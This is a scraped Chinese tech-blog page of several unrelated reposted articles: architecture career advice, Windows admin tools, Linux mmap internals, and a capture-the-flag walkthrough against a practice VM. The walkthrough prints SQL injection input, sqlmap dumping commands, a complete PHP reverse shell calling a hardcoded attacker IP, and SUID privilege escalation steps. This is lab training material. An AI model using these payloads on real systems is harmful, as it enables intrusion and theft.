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...之间会不断就新的协议修改和增加进行持续的沟通,而他们的领域知识和词汇都有很大的差别,这会大大影响沟通的效率。因此这期间系统的运行维护(协议的修改)变得十分艰难,不仅协议更新上线时间慢,而且由于软件工程对于电信协议理解程度有限,很多问题都要在实际上线使用后才能被电信专家发现,导致了很多的交换和反复。 针对上面提到的问题,后来我们和电信专家一起设计了一种协议设计语言(并提供可视化的工具),这种设计语言使用的电信专家所熟悉的词汇。然后通过一个类似于编译器的程序将电信专家定义好的协议模型转换为内存中的 Java 结构。这样整个项目的运行和维护就变得简单高效了,省去了低效的交流和不准确人工转换。 我们可以看到一开始按电信专家的说明直接实现协议是更为容易的办法,但就整个软件生命周期来看却并不是一个简单高效的方法。 永远不要停止编码 架构师也是程序员,代码是软件的最终实现形态,停止编程会逐渐让你忘记作为程序员的感受,更重要的是忘记其中的“痛”,从而容易产生一些不切实际的设计。 大家可能听说过在 Amazon,高级副总裁级别的 Distinguish Engineer(如:James Gosling,Java 之父),他们每年的编码量也非常大,常在 10 万行以上。 风险优先 架构设计很重要的一点是识别可能存在的风险,尤其是非功能性需求实现的风险。因为这些风险往往没有功能性需求这么容易在初期被发现,但修正的代价通常要比修正功能性需求大非常多,甚至可能导致项目的失败,前面我们也提到了非功能性需求决定了架构,如数据一致性要求、响应延迟要求等。 我们应该通过原型或在早期的迭代中确认风险能够通过合理的架构得以解决。 绝对不要把风险放到最后,就算是一个项目要失败也要让它快速失败,这也是一种敏捷。 从“问题”开始,而不是“技术” 技术人员对于新技术的都有着一种与身俱来的激情,总是乐于去学习新技术,同时也更有激情去使用新技术。但是这也同样容易导致一个通病,就是“当我们有一个锤子的时候看什么都是钉子”,使用一些不适合的技术去解决手边的问题,常常会导致简单问题复杂化。 我曾经的一个团队维护过这样一个简单的服务,起初就是一个用 MySQL 作数据存储的简单服务,由团队的一个成员来开发和维护。后来,这位成员对当时新出的 DynamoDB 产生了兴趣,并学习了相关知识。 然后就发生下面这样的事: 用DynamoDB替换了MySQL。 很快发现DynamoDB并不能很好的支持事务特性,在当时只有一个性能极差的客户端类库来支持事物,由于采用客户端方式,引入了大量的额外交互,导致性能差别达7倍之多。这时候,这个同学就采用了当时在NoSQL领域广泛流行的最终一致技术,通过一个Pub-Sub消息队列来实现最终一致(即当某对象的值发生改变后会产生一个事件,然后关注这一改变的逻辑,就会订阅这个通知,并改变于其相关数据,从而实现不同数据的最终一致)。 接着由于DynamoDB无法提供SQL那样方便的查询机制,为了实现数据分析就又引入了EMR/MapReduceJob。 到此,大家可以看到实现一样的功能,但是复杂性大大增加,维护工作也由一个人变成了一个团队。 过度忙碌使你落后 对于 IT 人而言忙碌已成为了习惯,加班常挂在嘴边。“996”工作制似乎也变成了公司高效的标志。而事实上过度的忙碌使你落后。经常遇见一些朋友,在一个公司没日没夜的干了几年,没有留一点学习时间给自己。几年之后倒是对公司越来越“忠诚”了,但忙碌的工作同时也导致了没有时间更新知识,使得自己已经落后了,连跳槽的能力和勇气都失去了。 过度忙碌会导致没有时间学习和更新自己的知识,尤其在这个高速发展的时代。我在工作经历中发现过度繁忙通常会带来以下问题: 缺乏学习导致工作能力没有提升,而面对的问题却变得日益复杂。 技术和业务上没有更大的领先优势,只能被动紧紧追赶。试想一下,要是你都领先同行业五年了,还会在乎通过加班来早一个月发布吗? 反过来上面这些问题会导致你更加繁忙,进而更没有时间提高自己的技术技能,很快就形成了一个恶性循环。 练过健身的朋友都知道,光靠锻炼是不行的,营养补充和锻炼同样重要。个人技术成长其实也一样,实践和学习是一样重要的,当你在一个领域工作了一段时间以后,工作对你而言就主要是实践了,随着你对该领域的熟悉,能学习的到技术会越来越少。所以每个技术人员都要保证充足的学习时间,否则很容易成为井底之蛙,从而陷入前面提到的恶性循环。 最后,以伟大诗人屈原的诗句和大家共勉:“路漫漫其修远兮,吾将上下而求索“。希望我们大家都可以不忘初心,保持匠心! 作者简介: 蔡超,Mobvista 技术 VP 兼首席架构师,SpotMax 云服务创始人。拥有超过 15 年的软件开发经验,其中 9 年任世界级 IT 公司软件架构师/首席软件架构师。2017 年加入 Mobvista,任公司技术副总裁及首席架构师,领导公司的数字移动营销平台的开发,该平台完全建立于云计算技术之上,每天处理来自全球不同 region 的超过 600 亿次的请求。 在加入 Mobvista 之前,曾任亚马逊全球直运平台首席架构师,亚马逊(中国)首席架构师,曾领导了亚马逊的全球直运平台的开发,并领导中国团队通过 AI 及云计算技术为中国客户打造更好的本地体验;曾任 HP(中国)移动设备管理系统首席软件架构师,该系统曾是全球最大的无线设备管理系统(OMA DM)(客户包括中国移动,中国联通,中国电信等);曾任北京天融信网络安全技术公司,首席软件架构师,领导开发的网络安全管理系统(TopAnalyzer)至今仍被政府重要部门及军队广为采用,该系统也曾成功应用于 2008 北京奥运,2010 上海世博等重要事件的网络安全防护。 本篇文章为转载内容。原文链接:https://blog.csdn.net/Honnyee/article/details/111896981。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-19 14:55:26
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...序、更改进程优先级、启动或停止服务等操作。 组策略(Group Policy) , 组策略是Windows操作系统内置的一种集中化管理工具,它允许管理员对用户和计算机进行统一配置,包括安全设置、软件安装、桌面配置等方面。在本文中提及的gpedit.msc命令,就是用来打开本地组策略编辑器的快捷方式,通过这个工具,管理员可以详细地定制各种系统和应用程序的行为规则,以确保所有计算机遵循一致的管理和安全策略。 注册表编辑器 (Registry Editor) , 注册表编辑器是Windows操作系统中用于查看和修改注册表数据库的工具,其程序名为regedit.exe或regedt32。注册表包含了影响系统配置和应用程序行为的各种参数信息,如用户界面、硬件配置、文件关联、安全设置等。在高级系统维护和故障排查时,熟悉并掌握如何使用注册表编辑器是非常重要的,但因其对系统稳定性的影响较大,非专业人员操作需谨慎。 Windows防火墙 (Windows Firewall) , Windows防火墙是Windows操作系统自带的安全防护机制,旨在监控进出系统的网络流量,并根据预设规则决定是否允许数据包通过,从而防止未经授权的访问和恶意攻击。通过Firewall.cpl命令可快速打开Windows防火墙设置界面,用户在此可以自定义防火墙规则、开启或关闭特定端口、管理出站和入站连接等。
2023-02-01 13:38:26
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...络扫描 2.1.1 启动靶机和Kali后进行扫描 方法一、arp-scan -I eth0 -l (指定网卡扫) arp-scan -I eth0 -l 方法二、masscan 扫描的网段 -p 扫描端口号 masscan 192.168.184.0/24 -p 80,22 方法三、netdiscover -i 网卡-r 网段 netdiscover -i eth0 -r 192.168.184.0/24 方法四、等你们补充 2.1.2 查看靶机开放的端口 使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口 可以发现有 2 个端口开放,22 和 80 2.1.3 尝试访问靶机网页 2.2枚举漏洞 22 端口分析 一般只能暴力破解,暂时没有合适的字典 80 端口分析 访问网站, 发现是一个登陆页面 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Nm2jCq05-1650016495541)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110170424128.png)] 成功登录后 尝试手工注入:x' or 1=1 成功返回所有信息,说明存在SQL注入 2.3漏洞利用 2.3.1 sqlmap 利用注入漏洞 使用 burp 抓查询数据包 POST /welcome.php HTTP/1.1Host: 192.168.184.149Content-Length: 23Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.184.149Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.184.149/welcome.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=jub1jihglt85brngo5imqsifb3Connection: closesearch=x 将数据包保存为文件 hackme1.txt 使用 sqlmap 跑一下测试漏洞并获取数据库名: 🚀 python sqlmap.py -r hackme1.txt --dbs --batch [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DjhXfuV9-1650016495544)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110171527015.png)] 数据库除了基础数据库有webapphacking 接下来咱们获取一下表名 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking --tables [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1mzxiwhu-1650016495544)(C:\Users\zhang\AppData\Roaming\Typora\typora-user-images\image-20220110172336353.png)] 可以得到两个表books和users 咱们先获取一下users表的信息 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking -T users --dump --batch 可以看到有一个superadmin,超级管理员,看起来像一个md5 扩展 在线解密md5网站 国内MD5解密: http://t007.cn/ https://cmd5.la/ https://cmd5.com/ https://pmd5.com/ http://ttmd5.com/ https://md5.navisec.it/ http://md5.tellyou.top/ https://www.somd5.com/ http://www.chamd5.org/ 国外MD5解密: https://www.md5tr.com/ http://md5.my-addr.com/ https://md5.gromweb.com/ https://www.md5decrypt.org/ https://md5decrypt.net/en/ https://md5hashing.net/hash/md5/ https://hashes.com/en/decrypt/hash https://www.whatsmyip.org/hash-lookup/ https://www.md5online.org/md5-decrypt.html https://md5-passwort.de/md5-passwort-suchen 解出来密码是:Uncrackable 登录上去,发现有上传功能 2.3.2 文件上传漏洞 getshell 将 kali 自带的 php-reverse-shell.php 复制一份到 查看文件内容,并修改IP地址 <?php// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 pentestmonkey@pentestmonkey.net//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. The author accepts no liability// for damage caused by this tool. If these terms are not acceptable to you, then// do not use this tool.//// In all other respects the GPL version 2 applies://// This program is free software; you can redistribute it and/or modify// it under the terms of the GNU General Public License version 2 as// published by the Free Software Foundation.//// This program is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the// GNU General Public License for more details.//// You should have received a copy of the GNU General Public License along// with this program; if not, write to the Free Software Foundation, Inc.,// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. If these terms are not acceptable to// you, then do not use this tool.//// You are encouraged to send comments, improvements or suggestions to// me at pentestmonkey@pentestmonkey.net//// Description// -----------// This script will make an outbound TCP connection to a hardcoded IP and port.// The recipient will be given a shell running as the current user (apache normally).//// Limitations// -----------// proc_open and stream_set_blocking require PHP version 4.3+, or 5+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.//// Usage// -----// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);$VERSION = "1.0";$ip = '192.168.184.128'; // CHANGE THIS$port = 6666; // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies. Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0); // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec = array(0 => array("pipe", "r"), // stdin is a pipe that the child will read from1 => array("pipe", "w"), // stdout is a pipe that the child will write to2 => array("pipe", "w") // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);} }fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {if (!$daemon) {print "$string\n";} }?> [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RhgS5l2a-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173559344.png)] 上传该文件 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CKEldpll-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173801442.png)] 在 kali 监听:nc -lvp 6666 访问后门文件:http://192.168.184.149/php-reverse-shell.php 不成功 尝试加上传文件夹:http://192.168.184.149/uploads/php-reverse-shell.php 成功访问 使用 python 切换为 bash:python3 -c 'import pty; pty.spawn("/bin/bash")' 2.4权限提升 2.4.1 SUID 提权 sudo -l不顶用了,换个方法 查询 suid 权限程序: find / -perm -u=s -type f 2>/dev/null www-data@hackme:/$ find / -perm -u=s -type f 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null/snap/core20/1270/usr/bin/chfn/snap/core20/1270/usr/bin/chsh/snap/core20/1270/usr/bin/gpasswd/snap/core20/1270/usr/bin/mount/snap/core20/1270/usr/bin/newgrp/snap/core20/1270/usr/bin/passwd/snap/core20/1270/usr/bin/su/snap/core20/1270/usr/bin/sudo/snap/core20/1270/usr/bin/umount/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core20/1270/usr/lib/openssh/ssh-keysign/snap/core/6531/bin/mount/snap/core/6531/bin/ping/snap/core/6531/bin/ping6/snap/core/6531/bin/su/snap/core/6531/bin/umount/snap/core/6531/usr/bin/chfn/snap/core/6531/usr/bin/chsh/snap/core/6531/usr/bin/gpasswd/snap/core/6531/usr/bin/newgrp/snap/core/6531/usr/bin/passwd/snap/core/6531/usr/bin/sudo/snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/6531/usr/lib/openssh/ssh-keysign/snap/core/6531/usr/lib/snapd/snap-confine/snap/core/6531/usr/sbin/pppd/snap/core/5662/bin/mount/snap/core/5662/bin/ping/snap/core/5662/bin/ping6/snap/core/5662/bin/su/snap/core/5662/bin/umount/snap/core/5662/usr/bin/chfn/snap/core/5662/usr/bin/chsh/snap/core/5662/usr/bin/gpasswd/snap/core/5662/usr/bin/newgrp/snap/core/5662/usr/bin/passwd/snap/core/5662/usr/bin/sudo/snap/core/5662/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/5662/usr/lib/openssh/ssh-keysign/snap/core/5662/usr/lib/snapd/snap-confine/snap/core/5662/usr/sbin/pppd/snap/core/11993/bin/mount/snap/core/11993/bin/ping/snap/core/11993/bin/ping6/snap/core/11993/bin/su/snap/core/11993/bin/umount/snap/core/11993/usr/bin/chfn/snap/core/11993/usr/bin/chsh/snap/core/11993/usr/bin/gpasswd/snap/core/11993/usr/bin/newgrp/snap/core/11993/usr/bin/passwd/snap/core/11993/usr/bin/sudo/snap/core/11993/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/11993/usr/lib/openssh/ssh-keysign/snap/core/11993/usr/lib/snapd/snap-confine/snap/core/11993/usr/sbin/pppd/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/lib/snapd/snap-confine/usr/lib/policykit-1/polkit-agent-helper-1/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/bin/pkexec/usr/bin/traceroute6.iputils/usr/bin/passwd/usr/bin/chsh/usr/bin/chfn/usr/bin/gpasswd/usr/bin/at/usr/bin/newgrp/usr/bin/sudo/home/legacy/touchmenot/bin/mount/bin/umount/bin/ping/bin/ntfs-3g/bin/su/bin/fusermount 发现一个可疑文件/home/legacy/touchmenot 在 https://gtfobins.github.io/网站上查询:touchmenot 没找到 尝试运行程序:发现直接提权成功 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qcpXI6zZ-1650016495551)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110174530827.png)] 找半天没找到flag的文件 what?就这? 总结 本节使用的工具和漏洞比较基础,涉及 SQL 注入漏洞和文件上传漏洞 sql 注入工具:sqlmap 抓包工具:burpsuite Webshell 后门:kali 内置后门 Suid 提权:touchmenot 提权 本篇文章为转载内容。原文链接:https://blog.csdn.net/Perpetual_Blue/article/details/124200651。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-02 12:50:54
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...的拷贝。对于像管道和消息队列等通信方式,则需要在内核和用户空间进行四次的数据拷贝,而共享内存则只拷贝两次数据:一次从输入文件到共享内存区,另一次从共享内存区到输出文件。实际上,进程之间在共享内存时,并不总是读写少量数据后就解除映射,有新的通信时,再重新建立共享内存区域。而是保持共享区域,直到通信完毕为止,这样,数据内容一直保存在共享内存中,并没有写回文件。共享内存中的内容往往是在解除映射时才写回文件的。因此,采用共享内存的通信方式效率是非常高的。 基于文件的映射,在mmap和munmap执行过程的任何时刻,被映射文件的st_atime可能被更新。如果st_atime字段在前述的情况下没有得到更新,首次对映射区的第一个页索引时会更新该字段的值。用PROT_WRITE 和 MAP_SHARED标志建立起来的文件映射,其st_ctime 和 st_mtime在对映射区写入之后,但在msync()通过MS_SYNC 和 MS_ASYNC两个标志调用之前会被更新。 用法: include <sys/mman.h> void mmap(void start, size_t length, int prot, int flags, int fd, off_t offset); int munmap(void start, size_t length); 返回说明: 成功执行时,mmap()返回被映射区的指针,munmap()返回0。失败时,mmap()返回MAP_FAILED[其值为(void )-1],munmap返回-1。errno被设为以下的某个值 EACCES:访问出错 EAGAIN:文件已被锁定,或者太多的内存已被锁定 EBADF:fd不是有效的文件描述词 EINVAL:一个或者多个参数无效 ENFILE:已达到系统对打开文件的限制 ENODEV:指定文件所在的文件系统不支持内存映射 ENOMEM:内存不足,或者进程已超出最大内存映射数量 EPERM:权能不足,操作不允许 ETXTBSY:已写的方式打开文件,同时指定MAP_DENYWRITE标志 SIGSEGV:试着向只读区写入 SIGBUS:试着访问不属于进程的内存区 参数: start:映射区的开始地址。 length:映射区的长度。 prot:期望的内存保护标志,不能与文件的打开模式冲突。是以下的某个值,可以通过or运算合理地组合在一起 PROT_EXEC //页内容可以被执行 PROT_READ //页内容可以被读取 PROT_WRITE //页可以被写入 PROT_NONE //页不可访问 flags:指定映射对象的类型,映射选项和映射页是否可以共享。它的值可以是一个或者多个以下位的组合体 MAP_FIXED //使用指定的映射起始地址,如果由start和len参数指定的内存区重叠于现存的映射空间,重叠部分将会被丢弃。如果指定的起始地址不可用,操作将会失败。并且起始地址必须落在页的边界上。 MAP_SHARED //与其它所有映射这个对象的进程共享映射空间。对共享区的写入,相当于输出到文件。直到msync()或者munmap()被调用,文件实际上不会被更新。 MAP_PRIVATE //建立一个写入时拷贝的私有映射。内存区域的写入不会影响到原文件。这个标志和以上标志是互斥的,只能使用其中一个。 MAP_DENYWRITE //这个标志被忽略。 MAP_EXECUTABLE //同上 MAP_NORESERVE //不要为这个映射保留交换空间。当交换空间被保留,对映射区修改的可能会得到保证。当交换空间不被保留,同时内存不足,对映射区的修改会引起段违例信号。 MAP_LOCKED //锁定映射区的页面,从而防止页面被交换出内存。 MAP_GROWSDOWN //用于堆栈,告诉内核VM系统,映射区可以向下扩展。 MAP_ANONYMOUS //匿名映射,映射区不与任何文件关联。 MAP_ANON //MAP_ANONYMOUS的别称,不再被使用。 MAP_FILE //兼容标志,被忽略。 MAP_32BIT //将映射区放在进程地址空间的低2GB,MAP_FIXED指定时会被忽略。当前这个标志只在x86-64平台上得到支持。 MAP_POPULATE //为文件映射通过预读的方式准备好页表。随后对映射区的访问不会被页违例阻塞。 MAP_NONBLOCK //仅和MAP_POPULATE一起使用时才有意义。不执行预读,只为已存在于内存中的页面建立页表入口。 fd:有效的文件描述词。如果MAP_ANONYMOUS被设定,为了兼容问题,其值应为-1。 offset:被映射对象内容的起点。 3.munmap系统调用 include <sys/mman.h> int munmap( void addr, size_t len ) 该调用在进程地址空间中解除一个映射关系,addr是调用mmap()时返回的地址,len是映射区的大小。当映射关系解除后,对原来映射地址的访问将导致段错误发生。 4.msync系统调用 include <sys/mman.h> int msync ( void addr , size_t len, int flags) 一般说来,进程在映射空间的对共享内容的改变并不直接写回到磁盘文件中,往往在调用munmap()后才执行该操作。可以通过调用msync()实现磁盘上文件内容与共享内存区的内容一致。 二 系统调用mmap()用于共享内存的两种方式 (1)使用普通文件提供的内存映射:适用于任何进程之间;此时,需要打开或创建一个文件,然后再调用mmap();典型调用代码如下: [cpp] view plaincopy fd=open(name, flag, mode); if(fd<0) ... ptr=mmap(NULL, len , PROT_READ|PROT_WRITE, MAP_SHARED , fd , 0); 通过mmap()实现共享内存的通信方式有许多特点和要注意的地方 (2)使用特殊文件提供匿名内存映射:适用于具有亲缘关系的进程之间;由于父子进程特殊的亲缘关系,在父进程中先调用mmap(),然后调用fork()。那么在调用fork()之后,子进程继承父进程匿名映射后的地址空间,同样也继承mmap()返回的地址,这样,父子进程就可以通过映射区域进行通信了。注意,这里不是一般的继承关系。一般来说,子进程单独维护从父进程继承下来的一些变量。而mmap()返回的地址,却由父子进程共同维护。 对于具有亲缘关系的进程实现共享内存最好的方式应该是采用匿名内存映射的方式。此时,不必指定具体的文件,只要设置相应的标志即可. 三 mmap进行内存映射的原理 mmap系统调用的最终目的是将,设备或文件映射到用户进程的虚拟地址空间,实现用户进程对文件的直接读写,这个任务可以分为以下三步: 1.在用户虚拟地址空间中寻找空闲的满足要求的一段连续的虚拟地址空间,为映射做准备(由内核mmap系统调用完成) 每个进程拥有3G字节的用户虚存空间。但是,这并不意味着用户进程在这3G的范围内可以任意使用,因为虚存空间最终得映射到某个物理存储空间(内存或磁盘空间),才真正可以使用。 那么,内核怎样管理每个进程3G的虚存空间呢?概括地说,用户进程经过编译、链接后形成的映象文件有一个代码段和数据段(包括data段和bss段),其中代码段在下,数据段在上。数据段中包括了所有静态分配的数据空间,即全局变量和所有申明为static的局部变量,这些空间是进程所必需的基本要求,这些空间是在建立一个进程的运行映像时就分配好的。除此之外,堆栈使用的空间也属于基本要求,所以也是在建立进程时就分配好的,如图3.1所示: 图3.1 进程虚拟空间的划分 在内核中,这样每个区域用一个结构struct vm_area_struct 来表示.它描述的是一段连续的、具有相同访问属性的虚存空间,该虚存空间的大小为物理内存页面的整数倍。可以使用 cat /proc/<pid>/maps来查看一个进程的内存使用情况,pid是进程号.其中显示的每一行对应进程的一个vm_area_struct结构. 下面是struct vm_area_struct结构体的定义: [cpp] view plaincopy struct vm_area_struct { struct mm_struct vm_mm; / The address space we belong to. / unsigned long vm_start; / Our start address within vm_mm. / unsigned long vm_end; / The first byte after our end address within vm_mm. / / linked list of VM areas per task, sorted by address / struct vm_area_struct vm_next, vm_prev; pgprot_t vm_page_prot; / Access permissions of this VMA. / unsigned long vm_flags; / Flags, see mm.h. / struct rb_node vm_rb; / For areas with an address space and backing store, linkage into the address_space->i_mmap prio tree, or linkage to the list of like vmas hanging off its node, or linkage of vma in the address_space->i_mmap_nonlinear list. / union { struct { struct list_head list; void parent; / aligns with prio_tree_node parent / struct vm_area_struct head; } vm_set; struct raw_prio_tree_node prio_tree_node; } shared; / A file's MAP_PRIVATE vma can be in both i_mmap tree and anon_vma list, after a COW of one of the file pages. A MAP_SHARED vma can only be in the i_mmap tree. An anonymous MAP_PRIVATE, stack or brk vma (with NULL file) can only be in an anon_vma list. / struct list_head anon_vma_chain; / Serialized by mmap_sem & page_table_lock / struct anon_vma anon_vma; / Serialized by page_table_lock / / Function pointers to deal with this struct. / const struct vm_operations_struct vm_ops; / Information about our backing store: / unsigned long vm_pgoff; / Offset (within vm_file) in PAGE_SIZE units, not PAGE_CACHE_SIZE / struct file vm_file; / File we map to (can be NULL). / void vm_private_data; / was vm_pte (shared mem) / unsigned long vm_truncate_count;/ truncate_count or restart_addr / ifndef CONFIG_MMU struct vm_region vm_region; / NOMMU mapping region / endif ifdef CONFIG_NUMA struct mempolicy vm_policy; / NUMA policy for the VMA / endif }; 通常,进程所使用到的虚存空间不连续,且各部分虚存空间的访问属性也可能不同。所以一个进程的虚存空间需要多个vm_area_struct结构来描述。在vm_area_struct结构的数目较少的时候,各个vm_area_struct按照升序排序,以单链表的形式组织数据(通过vm_next指针指向下一个vm_area_struct结构)。但是当vm_area_struct结构的数据较多的时候,仍然采用链表组织的化,势必会影响到它的搜索速度。针对这个问题,vm_area_struct还添加了vm_avl_hight(树高)、vm_avl_left(左子节点)、vm_avl_right(右子节点)三个成员来实现AVL树,以提高vm_area_struct的搜索速度。 假如该vm_area_struct描述的是一个文件映射的虚存空间,成员vm_file便指向被映射的文件的file结构,vm_pgoff是该虚存空间起始地址在vm_file文件里面的文件偏移,单位为物理页面。 图3.2 进程虚拟地址示意图 因此,mmap系统调用所完成的工作就是准备这样一段虚存空间,并建立vm_area_struct结构体,将其传给具体的设备驱动程序 2 建立虚拟地址空间和文件或设备的物理地址之间的映射(设备驱动完成) 建立文件映射的第二步就是建立虚拟地址和具体的物理地址之间的映射,这是通过修改进程页表来实现的.mmap方法是file_opeartions结构的成员: int (mmap)(struct file ,struct vm_area_struct ); linux有2个方法建立页表: (1) 使用remap_pfn_range一次建立所有页表. int remap_pfn_range(struct vm_area_struct vma, unsigned long virt_addr, unsigned long pfn, unsigned long size, pgprot_t prot); 返回值: 成功返回 0, 失败返回一个负的错误值 参数说明: vma 用户进程创建一个vma区域 virt_addr 重新映射应当开始的用户虚拟地址. 这个函数建立页表为这个虚拟地址范围从 virt_addr 到 virt_addr_size. pfn 页帧号, 对应虚拟地址应当被映射的物理地址. 这个页帧号简单地是物理地址右移 PAGE_SHIFT 位. 对大部分使用, VMA 结构的 vm_paoff 成员正好包含你需要的值. 这个函数影响物理地址从 (pfn<<PAGE_SHIFT) 到 (pfn<<PAGE_SHIFT)+size. size 正在被重新映射的区的大小, 以字节. prot 给新 VMA 要求的"protection". 驱动可(并且应当)使用在vma->vm_page_prot 中找到的值. (2) 使用nopage VMA方法每次建立一个页表项. struct page (nopage)(struct vm_area_struct vma, unsigned long address, int type); 返回值: 成功则返回一个有效映射页,失败返回NULL. 参数说明: address 代表从用户空间传过来的用户空间虚拟地址. 返回一个有效映射页. (3) 使用方面的限制: remap_pfn_range不能映射常规内存,只存取保留页和在物理内存顶之上的物理地址。因为保留页和在物理内存顶之上的物理地址内存管理系统的各个子模块管理不到。640 KB 和 1MB 是保留页可能映射,设备I/O内存也可以映射。如果想把kmalloc()申请的内存映射到用户空间,则可以通过mem_map_reserve()把相应的内存设置为保留后就可以。 (4) remap_pfn_range与nopage的区别 remap_pfn_range一次性建立页表,而nopage通过缺页中断找到内核虚拟地址,然后通过内核虚拟地址找到对应的物理页 remap_pfn_range函数只对保留页和物理内存之外的物理地址映射,而对常规RAM,remap_pfn_range函数不能映射,而nopage函数可以映射常规的RAM。 3 当实际访问新映射的页面时的操作(由缺页中断完成) (1) page cache及swap cache中页面的区分:一个被访问文件的物理页面都驻留在page cache或swap cache中,一个页面的所有信息由struct page来描述。struct page中有一个域为指针mapping ,它指向一个struct address_space类型结构。page cache或swap cache中的所有页面就是根据address_space结构以及一个偏移量来区分的。 (2) 文件与 address_space结构的对应:一个具体的文件在打开后,内核会在内存中为之建立一个struct inode结构,其中的i_mapping域指向一个address_space结构。这样,一个文件就对应一个address_space结构,一个 address_space与一个偏移量能够确定一个page cache 或swap cache中的一个页面。因此,当要寻址某个数据时,很容易根据给定的文件及数据在文件内的偏移量而找到相应的页面。 (3) 进程调用mmap()时,只是在进程空间内新增了一块相应大小的缓冲区,并设置了相应的访问标识,但并没有建立进程空间到物理页面的映射。因此,第一次访问该空间时,会引发一个缺页异常。 (4) 对于共享内存映射情况,缺页异常处理程序首先在swap cache中寻找目标页(符合address_space以及偏移量的物理页),如果找到,则直接返回地址;如果没有找到,则判断该页是否在交换区 (swap 